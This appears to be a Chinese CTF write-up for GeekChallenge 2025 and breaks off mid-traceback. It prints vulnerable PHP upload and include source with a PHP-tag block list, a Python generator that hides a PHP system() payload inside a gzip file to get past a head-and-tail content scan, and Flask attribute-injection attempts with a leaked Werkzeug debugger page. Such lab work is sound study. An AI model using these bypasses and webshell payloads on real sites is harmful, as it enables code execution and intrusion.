eeeeezzzzzzZip

www.zip源码

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
<?php
// index.php
session_start();
error_reporting(0);

if (!isset($_SESSION['user'])) {
header("Location: login.php");
exit;
}

$salt = 'GeekChallenge_2025';
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = bin2hex(random_bytes(4));
}
$SANDBOX = sys_get_temp_dir() . "/uploads_" . md5($salt . $_SESSION['dir']);
if (!is_dir($SANDBOX)) mkdir($SANDBOX, 0700, true);

$files = array_diff(scandir($SANDBOX), ['.', '..']);
$result = '';
if (isset($_GET['f'])) {
$filename = basename($_GET['f']);
$fullpath = $SANDBOX . '/' . $filename;
if (file_exists($fullpath) && preg_match('/\.(zip|bz2|gz|xz|7z)$/i', $filename)) {
ob_start();
@include($fullpath);
$result = ob_get_clean();
} else {
$result = "文件不存在或非法类型。";
}
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>CloudZip 云压缩平台</title>
<style>
body {
background: #0d1117;
color: #e6e6e6;
font-family: "JetBrains Mono", Consolas, monospace;
margin: 0;
padding: 0;
}
header {
display: flex;
justify-content: space-between;
align-items: center;
background: #161b22;
padding: 12px 30px;
box-shadow: 0 2px 10px rgba(0,0,0,0.5);
}
header h1 {
color: #8ab4f8;
font-size: 20px;
letter-spacing: 1px;
}
header .user {
color: #b3b3b3;
font-size: 14px;
}
.container {
display: flex;
justify-content: center;
gap: 30px;
margin-top: 40px;
padding: 0 60px;
}
.card {
background: #1e242b;
border-radius: 12px;
box-shadow: 0 0 12px rgba(140, 82, 255, 0.2);
padding: 25px;
width: 40%;
}
h2 {
color: #c792ea;
font-size: 18px;
border-bottom: 1px solid #333;
padding-bottom: 6px;
}
.file-item {
background: #2a3139;
padding: 10px;
border-radius: 6px;
margin: 6px 0;
display: flex;
justify-content: space-between;
align-items: center;
}
.file-item span {
color: #9ccaff;
}
.file-item a {
color: #c792ea;
text-decoration: none;
}
.file-item a:hover {
text-decoration: underline;
}
input, button {
font-family: inherit;
border-radius: 6px;
outline: none;
}
input[type="text"] {
background: #161b22;
border: 1px solid #4f4f4f;
padding: 8px;
color: #ddd;
width: 80%;
}
button {
background: linear-gradient(90deg, #7e57c2, #9575cd);
border: none;
color: white;
font-weight: bold;
padding: 8px 18px;
cursor: pointer;
margin-left: 8px;
transition: all 0.2s;
}
button:hover {
background: linear-gradient(90deg, #9575cd, #b388ff);
box-shadow: 0 0 8px #7e57c2;
}
.result-box {
margin-top: 20px;
padding: 10px;
background: #151b22;
border: 1px dashed #444;
border-radius: 8px;
color: #9ccaff;
white-space: pre-wrap;
word-break: break-all;
}
.upload-hint {
font-size: 12px;
color: #888;
}
</style>
</head>
<body>

<header>
<h1>☁️ CloudZip 云压缩文件管理平台</h1>
<div class="user">
已登录: <strong><?php echo htmlspecialchars($_SESSION['user']); ?></strong>
&nbsp;|&nbsp;
<a href="upload.php" style="color:#9ccaff;">上传文件</a>
&nbsp;|&nbsp;
<a href="login.php" style="color:#ff8a65;">登出</a>
</div>
</header>

<div class="container">

<!-- 左侧 文件管理 -->
<div class="card">
<h2>📂 会话上传文件</h2>
<p class="upload-hint">目录: <code><?php echo htmlspecialchars($SANDBOX); ?></code></p>
<?php if (count($files) == 0): ?>
<p style="color:#666;">(当前会话目录暂无上传文件)</p>
<?php else: ?>
<?php foreach ($files as $f): ?>
<div class="file-item">
<span><?php echo htmlspecialchars($f); ?></span>
<a href="?f=<?php echo urlencode($f); ?>">Include</a>
</div>
<?php endforeach; ?>
<?php endif; ?>
</div>

<div class="card">
<h2>⚙️ 压缩包内容显示台</h2>
<form method="get">
<input type="text" name="f" placeholder="xxxx_xxx.zip" />
<button type="submit">输出</button>
</form>

<?php if ($result !== ''): ?>
<div class="result-box"><?php echo htmlspecialchars($result); ?></div>
<?php endif; ?>
</div>

</div>

</body>
</html>

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
<?php
session_start();

$err = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$u = $_POST['user'] ?? '';
$p = $_POST['pass'] ?? '';
if ($u === 'admin' && $p === 'guest123') {
$_SESSION['user'] = $u;
header("Location: index.php");
exit;
} else {
$err = '登录失败:用户名或密码错误';
}
}
?>
<!doctype html>
<html lang="zh-CN">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>登录 — CTF</title>
<style>
:root{
--bg:#0f1724;
--card:#0b1220;
--accent:#7c3aed;
--muted:#9aa4b2;
--glass: rgba(255,255,255,0.04);
}
*{box-sizing:border-box}
html,body{height:100%}
body{
margin:0;
font-family: Inter, "Segoe UI", Roboto, "Helvetica Neue", Arial;
background: linear-gradient(180deg, #071029 0%, #081226 60%);
color:#e6eef8;
display:flex;
align-items:center;
justify-content:center;
padding:24px;
}

.container{
width:100%;
max-width:420px;
background: linear-gradient(180deg, rgba(255,255,255,0.02), rgba(255,255,255,0.01));
border-radius:14px;
padding:26px;
box-shadow: 0 8px 30px rgba(2,6,23,0.7), inset 0 1px 0 rgba(255,255,255,0.02);
border: 1px solid rgba(255,255,255,0.03);
backdrop-filter: blur(6px);
}

.brand{
display:flex;
align-items:center;
gap:12px;
margin-bottom:16px;
}
.logo{
width:52px;
height:52px;
border-radius:12px;
background: linear-gradient(135deg,var(--accent), #3b82f6);
display:flex;
align-items:center;
justify-content:center;
font-weight:700;
color:white;
box-shadow: 0 6px 20px rgba(124,58,237,0.18);
}
h1{margin:0;font-size:20px}
p.lead{margin:4px 0 18px;color:var(--muted);font-size:13px}

form{display:flex;flex-direction:column;gap:12px}
label{font-size:13px;color:var(--muted);display:block;margin-bottom:6px}
.input{
background:var(--glass);
border:1px solid rgba(255,255,255,0.03);
padding:12px 12px;
border-radius:10px;
color: #e6eef8;
outline:none;
width:100%;
font-size:15px;
}
.input:focus{
box-shadow: 0 6px 18px rgba(124,58,237,0.12);
border-color: rgba(124,58,237,0.55);
}

.pw-wrap{position:relative}
.pw-toggle{
position:absolute;
right:10px;
top:50%;
transform:translateY(-50%);
background:none;
border:none;
color:var(--muted);
font-size:13px;
cursor:pointer;
padding:6px;
border-radius:6px;
}
.pw-toggle:focus{outline:2px solid rgba(124,58,237,0.18)}

.actions{display:flex;align-items:center;justify-content:space-between;margin-top:4px}
.btn{
background:linear-gradient(90deg,var(--accent), #4f46e5);
border:none;
color:white;
padding:10px 14px;
border-radius:10px;
cursor:pointer;
font-weight:600;
box-shadow: 0 8px 20px rgba(79,70,229,0.12);
}
.btn:hover{transform:translateY(-1px)}
.hint{font-size:13px;color:var(--muted)}

.error{
background: linear-gradient(90deg, rgba(255,77,77,0.08), rgba(255,77,77,0.03));
border:1px solid rgba(255,77,77,0.12);
color:#ffd6d6;
padding:10px;
border-radius:10px;
display:flex;
gap:10px;
align-items:center;
font-size:14px;
}
.small{font-size:12px;color:var(--muted)}

footer{margin-top:16px;text-align:center;color:var(--muted);font-size:12px}
@media (max-width:480px){
.container{padding:18px;border-radius:12px}
h1{font-size:18px}
}
</style>
</head>
<body>
<main class="container" role="main" aria-labelledby="loginTitle">
<div class="brand">
<div class="logo">CTF</div>
<div>
<h1 id="loginTitle">CloudZip 云压缩文件管理平台</h1>
<p class="lead">请使用账户密码登录以进入上传页面</p>
</div>
</div>

<?php if (!empty($err)): ?>
<div class="error" role="alert" aria-live="assertive">
<svg width="18" height="18" viewBox="0 0 24 24" fill="none" aria-hidden="true">
<path d="M12 9v4" stroke="#ff9b9b" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M12 17h.01" stroke="#ff9b9b" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M10.29 3.86 1.82 18a2 2 0 0 0 1.72 3h16.92A2 2 0 0 0 22.2 18L13.71 3.86a2 2 0 0 0-3.42 0z" stroke="#ff9b9b" stroke-width="0.5" fill="rgba(255,77,77,0.06)"/>
</svg>
<div><?php echo htmlspecialchars($err, ENT_QUOTES, 'UTF-8'); ?></div>
</div>
<?php endif; ?>

<form method="post" novalidate>
<div>
<label for="user">用户名</label>
<input id="user" name="user" class="input" placeholder="请输入用户名" autocomplete="username" required autofocus />
</div>

<div>
<label for="pass">密码</label>
<div class="pw-wrap">
<input id="pass" name="pass" class="input" placeholder="请输入密码" type="password" autocomplete="current-password" required />
<button type="button" class="pw-toggle" id="togglePwd" aria-pressed="false" aria-label="切换密码可见">显示</button>
</div>
</div>

<div class="actions">
<button class="btn" type="submit">登录</button>
</div>
</form>
</main>

<script>
(function(){
const btn = document.getElementById('togglePwd');
const pass = document.getElementById('pass');
btn.addEventListener('click', function(){
const isPwd = pass.type === 'password';
pass.type = isPwd ? 'text' : 'password';
btn.textContent = isPwd ? '隐藏' : '显示';
btn.setAttribute('aria-pressed', isPwd ? 'true' : 'false');
});

// 回车提交时只要焦点在输入框即可;增强键盘体验
document.getElementById('user').addEventListener('keydown', function(e){
if(e.key === 'Enter') document.querySelector('form').requestSubmit();
});
document.getElementById('pass').addEventListener('keydown', function(e){
if(e.key === 'Enter') document.querySelector('form').requestSubmit();
});
})();
</script>
</body>
</html>

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
<?php
// upload.php(美化版)
// 说明:已修复前端 JS 的语法错误并增强上传完成后的 UI 行为
session_start();
error_reporting(0);

$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
'application/zip',
'application/x-bzip2',
'application/gzip',
'application/x-gzip',
'application/x-xz',
'application/x-7z-compressed',
];

$BLOCK_LIST = [
"__HALT_COMPILER()",
"PK",
"<?",
"<?php",
"phar://",
"php",
"?>"
];

function content_filter($tmpfile, $block_list) {
$fh = fopen($tmpfile, "rb");
if (!$fh) return true;
$head = fread($fh, 4096);
fseek($fh, -4096, SEEK_END);
$tail = fread($fh, 4096);
fclose($fh);
$sample = $head . $tail;
$lower = strtolower($sample);
foreach ($block_list as $pat) {
if (stripos($sample, $pat) !== false) {
// 为避免泄露过多信息,这里不直接 echo sample(你之前有 echo,保持注释)
return false;
}
if (stripos($lower, strtolower($pat)) !== false) {
return false;
}
}
return true;
}

if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = bin2hex(random_bytes(4));
}
$salt = 'GeekChallenge_2025';
$SANDBOX = sys_get_temp_dir() . "/uploads_" . md5($salt . $_SESSION['dir']);
if (!is_dir($SANDBOX)) mkdir($SANDBOX, 0700, true);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_FILES['file'])) {
http_response_code(400);
die("No file.");
}
$tmp = $_FILES['file']['tmp_name'];
$orig = basename($_FILES['file']['name']);
if (!is_uploaded_file($tmp)) {
http_response_code(400);
die("Upload error.");
}

$ext = strtolower(pathinfo($orig, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_extensions)) {
http_response_code(400);
die("Bad extension.");
}

$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $tmp);
finfo_close($finfo);
if (!in_array($mime, $allowed_mime_types)) {
http_response_code(400);
die("Bad mime.");
}

if (!content_filter($tmp, $BLOCK_LIST)) {
http_response_code(400);
die("Content blocked.");
}

$newname = time() . "_" . preg_replace('/[^A-Za-z0-9._-]/', '_', $orig);
$dest = $SANDBOX . '/' . $newname;

if (!move_uploaded_file($tmp, $dest)) {
http_response_code(500);
die("Move failed.");
}

echo "UPLOAD_OK:" . htmlspecialchars($newname, ENT_QUOTES);
exit;
}
?>
<!doctype html>
<html lang="zh-CN">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>文件上传 — CTF</title>
<style>
:root {
--bg:#0f1724;
--card:#0b1220;
--accent:#7c3aed;
--muted:#9aa4b2;
--glass:rgba(255,255,255,0.04);
}
body {
margin:0;
background: linear-gradient(180deg, #071029 0%, #081226 60%);
font-family: Inter, "Segoe UI", Roboto, "Helvetica Neue", Arial;
color:#e6eef8;
display:flex;
align-items:center;
justify-content:center;
height:100vh;
}
.container {
background: var(--glass);
border:1px solid rgba(255,255,255,0.04);
border-radius:14px;
padding:26px;
max-width:500px;
width:100%;
box-shadow: 0 8px 30px rgba(2,6,23,0.7);
position:relative;
}
h1 {
margin-top:0;
font-size:22px;
margin-bottom:10px;
text-align:center;
}
p {
text-align:center;
color:var(--muted);
margin-bottom:24px;
font-size:14px;
}
.file-input {
display:flex;
flex-direction:column;
align-items:center;
gap:12px;
}
.input-box {
border:2px dashed rgba(255,255,255,0.08);
border-radius:12px;
padding:30px;
text-align:center;
cursor:pointer;
transition: all 0.3s ease;
background: rgba(255,255,255,0.02);
width:100%;
box-sizing:border-box;
}
.input-box:hover {
border-color: var(--accent);
background: rgba(124,58,237,0.04);
}
input[type=file] {
display:none;
}
.btn {
background:linear-gradient(90deg,var(--accent),#4f46e5);
border:none;
color:white;
padding:10px 18px;
border-radius:10px;
cursor:pointer;
font-weight:600;
font-size:14px;
box-shadow:0 8px 20px rgba(79,70,229,0.12);
transition:0.2s ease;
}
.btn:hover {
transform:translateY(-1px);
}
#result {
margin-top:16px;
font-size:14px;
word-break:break-all;
text-align:center;
}
#progress {
width:100%;
background:rgba(255,255,255,0.1);
border-radius:6px;
overflow:hidden;
margin-top:16px;
display:none;
}
#bar {
width:0%;
height:8px;
background:var(--accent);
transition:width 0.2s ease;
}
.logout {
position:absolute;
top:16px;
right:16px;
color:var(--muted);
font-size:13px;
text-decoration:none;
border-bottom:1px dotted var(--muted);
}
code {
background:rgba(0,0,0,0.2);
padding:2px 6px;
border-radius:4px;
font-size:13px;
}
</style>
</head>
<body>
<a href="login.php" class="logout">← 退出登录</a>
<div class="container">
<h1>上传压缩包</h1>
<p>仅允许上传 zip、bz2、gz、xz、7z 文件,系统会自动生成随机存储路径。</p>

<form id="uploadForm" enctype="multipart/form-data" method="post" class="file-input">
<label for="file" class="input-box" id="dropArea">
<strong>点击选择文件或拖拽文件至此</strong>
<div id="fileName" style="margin-top:8px;color:var(--muted)">未选择文件</div>
</label>
<input type="file" name="file" id="file" accept=".zip,.bz2,.gz,.xz,.7z" required />
<button class="btn" type="submit">上传</button>
<div id="progress"><div id="bar"></div></div>
<div id="result"></div>
</form>
</div>

<script>
const fileInput = document.getElementById('file');
const fileName = document.getElementById('fileName');
const dropArea = document.getElementById('dropArea');
const form = document.getElementById('uploadForm');
const result = document.getElementById('result');
const progress = document.getElementById('progress');
const bar = document.getElementById('bar');

// 更新文件名显示
fileInput.addEventListener('change', () => {
if (fileInput.files.length > 0) {
fileName.textContent = fileInput.files[0].name;
} else {
fileName.textContent = "未选择文件";
}
});

// 拖拽样式与行为
dropArea.addEventListener('dragover', e => {
e.preventDefault();
dropArea.style.borderColor = '#7c3aed';
});
dropArea.addEventListener('dragleave', e => {
e.preventDefault();
dropArea.style.borderColor = 'rgba(255,255,255,0.08)';
});
dropArea.addEventListener('drop', e => {
e.preventDefault();
dropArea.style.borderColor = 'rgba(255,255,255,0.08)';
if (e.dataTransfer.files && e.dataTransfer.files.length > 0) {
fileInput.files = e.dataTransfer.files;
fileName.textContent = fileInput.files[0].name;
}
});

// 上传逻辑(修复了语法错误,添加完备回调)
form.addEventListener('submit', e => {
e.preventDefault();
const file = fileInput.files[0];
if (!file) return alert("请选择文件");

const xhr = new XMLHttpRequest();
const formData = new FormData();
formData.append("file", file);

// 显示进度条,初始化
progress.style.display = 'block';
bar.style.width = '0%';
result.textContent = '';

xhr.upload.onprogress = function (ev) {
if (ev.lengthComputable) {
const percent = Math.round((ev.loaded / ev.total) * 100);
bar.style.width = percent + '%';
}
};

xhr.onload = function () {
// 隐藏进度条
progress.style.display = 'none';
bar.style.width = '0%';

if (xhr.status === 200) {
const resp = xhr.responseText || '';
if (resp.startsWith("UPLOAD_OK:")) {
const fname = resp.split(":")[1];
result.innerHTML = `✅ 上传成功:<code>${fname}</code>`;
// 尝试清空 file input(兼容多数浏览器)
try {
fileInput.value = "";
// 替换节点以确保 file list 被清空
const newInput = fileInput.cloneNode();
fileInput.parentNode.replaceChild(newInput, fileInput);
// 重新绑定 change 事件到新 input
newInput.addEventListener('change', () => {
if (newInput.files.length > 0) {
fileName.textContent = newInput.files[0].name;
} else {
fileName.textContent = "未选择文件";
}
});
// update reference
window.fileInput = newInput;
} catch (err) {
// ignore
}
fileName.textContent = "未选择文件";
} else {
result.textContent = "❌ " + resp;
}
} else {
result.textContent = "❌ 上传失败 (" + xhr.status + ")";
}
};

xhr.onerror = function () {
progress.style.display = 'none';
bar.style.width = '0%';
result.textContent = "❌ 上传出错";
};

xhr.open("POST", "", true);
xhr.send(formData);
});
</script>
</body>
</html>

login硬编码了账号密码

index有include文件包含

upload只检测前4096和后4096字节,在中间插入一句话即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# generate_payload.py

# 1. gzip 魔数(必须以这个开头,finfo 才会识别为 gzip)
gzip_magic = b"\x1f\x8b\x08" # ID1=0x1f, ID2=0x8b, CM=8 (deflate)

# 2. 前 4096 字节:魔数 + 填充到 4096
header = gzip_magic + b"\x00" * (4096 - len(gzip_magic))

# 3. PHP payload
payload_code = b"<?php system('cat /flag/flag.txt');?>"

# 4. 尾部 4096 字节:全零填充(无害)
footer = b"\x00" * 4096

# 5. 组装完整文件
full_content = header + payload_code + footer

# 6. 写入文件
with open("7.gz", "wb") as f:
f.write(full_content)

print("[+] Payload written to exploit.gz")
print(f" Total size: {len(full_content)} bytes")
print(f" Payload offset: {len(header)} bytes")

百年继承

阶段2输入json,可以动态修改上校实例的属性值

结合题目说execute_method为字符串,并且最后返回处决成功

猜测应该是在阶段4会eval(execute_method),然后传入target为上校实例对象

最后返回处决成功

尝试一些魔术方法

1
{"__class__": "God", "__del__": "hacked", "execute_method": "custom_kill"}

发现触发了debug,但是是通过alert回显

控制台捕获alert事件传payload

1
2
3
4
window.alert = (msg) => {
console.log("⚠️ 拦截到 alert:", msg);
debugger;
};

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
<!doctype html>
<html lang=en>
<head>
<title>TypeError: __class__ must be set to a class, not &#39;str&#39; object
// Werkzeug Debugger</title>
<link rel="stylesheet" href="?__debugger__=yes&amp;cmd=resource&amp;f=style.css">
<link rel="shortcut icon"
href="?__debugger__=yes&amp;cmd=resource&amp;f=console.png">
<script src="?__debugger__=yes&amp;cmd=resource&amp;f=debugger.js"></script>
<script>
var CONSOLE_MODE = false,
EVALEX = false,
EVALEX_TRUSTED = false,
SECRET = "e2bvLRgeX05E4a3gIoH1";
</script>
</head>
<body style="background-color: #fff">
<div class="debugger">
<h1>TypeError</h1>
<div class="detail">
<p class="errormsg">TypeError: __class__ must be set to a class, not &#39;str&#39; object
</p>
</div>
<h2 class="traceback">Traceback <em>(most recent call last)</em></h2>
<div class="traceback">
<h3></h3>
<ul><li><div class="frame" id="frame-139924265650640">
<h4>File <cite class="filename">"/usr/local/lib/python3.11/site-packages/flask/app.py"</cite>,
line <em class="line">1536</em>,
in <code class="function">__call__</code></h4>
<div class="source library"><pre class="line before"><span class="ws"> </span>) -&gt; cabc.Iterable[bytes]:</pre>
<pre class="line before"><span class="ws"> </span>&#34;&#34;&#34;The WSGI server calls the Flask application object as the</pre>
<pre class="line before"><span class="ws"> </span>WSGI application. This calls :meth:`wsgi_app`, which can be</pre>
<pre class="line before"><span class="ws"> </span>wrapped to apply middleware.</pre>
<pre class="line before"><span class="ws"> </span>&#34;&#34;&#34;</pre>
<pre class="line current"><span class="ws"> </span>return self.wsgi_app(environ, start_response)
<span class="ws"> </span> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</pre></div>
</div>

<li><div class="frame" id="frame-139924265650784">
<h4>File <cite class="filename">"/usr/local/lib/python3.11/site-packages/flask/app.py"</cite>,
line <em class="line">1514</em>,
in <code class="function">wsgi_app</code></h4>
<div class="source library"><pre class="line before"><span class="ws"> </span>try:</pre>
<pre class="line before"><span class="ws"> </span>ctx.push()</pre>
<pre class="line before"><span class="ws"> </span>response = self.full_dispatch_request()</pre>
<pre class="line before"><span class="ws"> </span>except Exception as e:</pre>
<pre class="line before"><span class="ws"> </span>error = e</pre>
<pre class="line current"><span class="ws"> </span>response = self.handle_exception(e)
<span class="ws"> </span> ^^^^^^^^^^^^^^^^^^^^^^^^</pre>
<pre class="line after"><span class="ws"> </span>except: # noqa: B001</pre>
<pre class="line after"><span class="ws"> </span>error = sys.exc_info()[1]</pre>
<pre class="line after"><span class="ws"> </span>raise</pre>
<pre class="line after"><span class="ws"> </span>return response(environ, start_response)</pre>
<pre class="line after"><span class="ws"> </span>finally:</pre></div>
</div>

<li><div class="frame" id="frame-139924265650928">
<h4>File <cite class="filename">"/usr/local/lib/python3.11/site-packages/flask/app.py"</cite>,
line <em class="line">1511</em>,
in <code class="function">wsgi_app</code></h4>
<div class="source library"><pre class="line before"><span class="ws"> </span>ctx = self.request_context(environ)</pre>
<pre class="line before"><span class="ws"> </span>error: BaseException | None = None</pre>
<pre class="line before"><span class="ws"> </span>try:</pre>
<pre class="line before"><span class="ws"> </span>try:</pre>
<pre class="line before"><span class="ws"> </span>ctx.push()</pre>
<pre class="line current"><span class="ws"> </span>response = self.full_dispatch_request()
<span class="ws"> </span> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^</pre>
<pre class="line after"><span class="ws"> </span>except Exception as e:</pre>
<pre class="line after"><span class="ws"> </span>error = e</pre>
<pre class="line after"><span class="ws"> </span>response = self.handle_exception(e)</pre>
<pre class="line after"><span class="ws"> </span>except: # noqa: B001</pre>
<pre class="line after"><span class="ws"> </span>error = sys.exc_info()[1]</pre></div>
</div>

<li><div class="frame" id="frame-139924265651072">
<h4>File <cite class="filename">"/usr/local/lib/python3.11/site-packages/flask/app.py"</cite>,
line <em class="line">919</em>,
in <code class="function">full_dispatch_request</code></h4>
<div class="source library"><pre class="line before"><span class="ws"> </span>request_started.send(self, _async_wrapper=self.ensure_sync)</pre>
<pre class="line before"><span class="ws"> </span>rv = self.preprocess_request()</pre>
<pre class="line before"><span class="ws"> </span>if rv is None:</pre>
<pre class="line before"><span class="ws"> </span>rv = self.dispatch_request()</pre>
<pre class="line before"><span class="ws"> </span>except Exception as e:</pre>
<pre class="line current"><span class="ws"> </span>rv = self.handle_user_exception(e)
<span class="ws"> </span> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</pre>
<pre class="line after"><span class="ws"> </span>return self.finalize_request(rv)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"> </span>def finalize_request(</pre>
<pre class="line after"><span class="ws"> </span>self,</pre>
<pre class="line after"><span class="ws"> </span>rv: ft.ResponseReturnValue | HTTPException,</pre></div>
</div>

<li><div class="frame" id="frame-139924265651216">
<h4>File <cite class="filename">"/usr/local/lib/python3.11/site-packages/flask/app.py"</cite>,
line <em class="line">917</em>,
in <code class="function">full_dispatch_request</code></h4>
<div class="source library"><pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws"> </span>try:</pre>
<pre class="line before"><span class="ws"> </span>request_started.send(self, _async_wrapper=self.ensure_sync)</pre>
<pre class="line before"><span class="ws"> </span>rv = self.preprocess_request()</pre>
<pre class="line before"><span class="ws"> </span>if rv is None:</pre>
<pre class="line current"><span class="ws"> </span>rv = self.dispatch_request()
<span class="ws"> </span> ^^^^^^^^^^^^^^^^^^^^^^^</pre>
<pre class="line after"><span class="ws"> </span>except Exception as e:</pre>
<pre class="line after"><span class="ws"> </span>rv = self.handle_user_exception(e)</pre>
<pre class="line after"><span class="ws"> </span>return self.finalize_request(rv)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"> </span>def finalize_request(</pre></div>
</div>

<li><div class="frame" id="frame-139924265651360">
<h4>File <cite class="filename">"/usr/local/lib/python3.11/site-packages/flask/app.py"</cite>,
line <em class="line">902</em>,
in <code class="function">dispatch_request</code></h4>
<div class="source library"><pre class="line before"><span class="ws"> </span>and req.method == &#34;OPTIONS&#34;</pre>
<pre class="line before"><span class="ws"> </span>):</pre>
<pre class="line before"><span class="ws"> </span>return self.make_default_options_response()</pre>
<pre class="line before"><span class="ws"> </span># otherwise dispatch to the handler for that endpoint</pre>
<pre class="line before"><span class="ws"> </span>view_args: dict[str, t.Any] = req.view_args # type: ignore[assignment]</pre>
<pre class="line current"><span class="ws"> </span>return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args) # type: ignore[no-any-return]
<span class="ws"> </span> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"> </span>def full_dispatch_request(self) -&gt; Response:</pre>
<pre class="line after"><span class="ws"> </span>&#34;&#34;&#34;Dispatches the request and on top of that performs request</pre>
<pre class="line after"><span class="ws"> </span>pre and postprocessing as well as HTTP exception catching and</pre>
<pre class="line after"><span class="ws"> </span>error handling.</pre></div>
</div>

<li><div class="frame" id="frame-139924265651504">
<h4>File <cite class="filename">"/app/app.py"</cite>,
line <em class="line">72</em>,
in <code class="function">choose</code></h4>
<div class="source "><pre class="line before"><span class="ws"> </span>if contains_forbidden_key(payload):</pre>
<pre class="line before"><span class="ws"> </span>COLONEL.logs.append(&#34;WAF&#34;)</pre>
<pre class="line before"><span class="ws"> </span>flash(&#34;WAF&#34;)</pre>
<pre class="line before"><span class="ws"> </span>return redirect(url_for(&#34;index&#34;))</pre>
<pre class="line before"><span class="ws"></span> </pre>
<pre class="line current"><span class="ws"> </span>COLONEL.make_choice(payload)
<span class="ws"> </span>^^^^^^^^^^^^^^^^^^^^^^^^^^^^</pre>
<pre class="line after"><span class="ws"> </span>return redirect(url_for(&#34;index&#34;))</pre>
<pre class="line after"><span class="ws"></span> </pre>
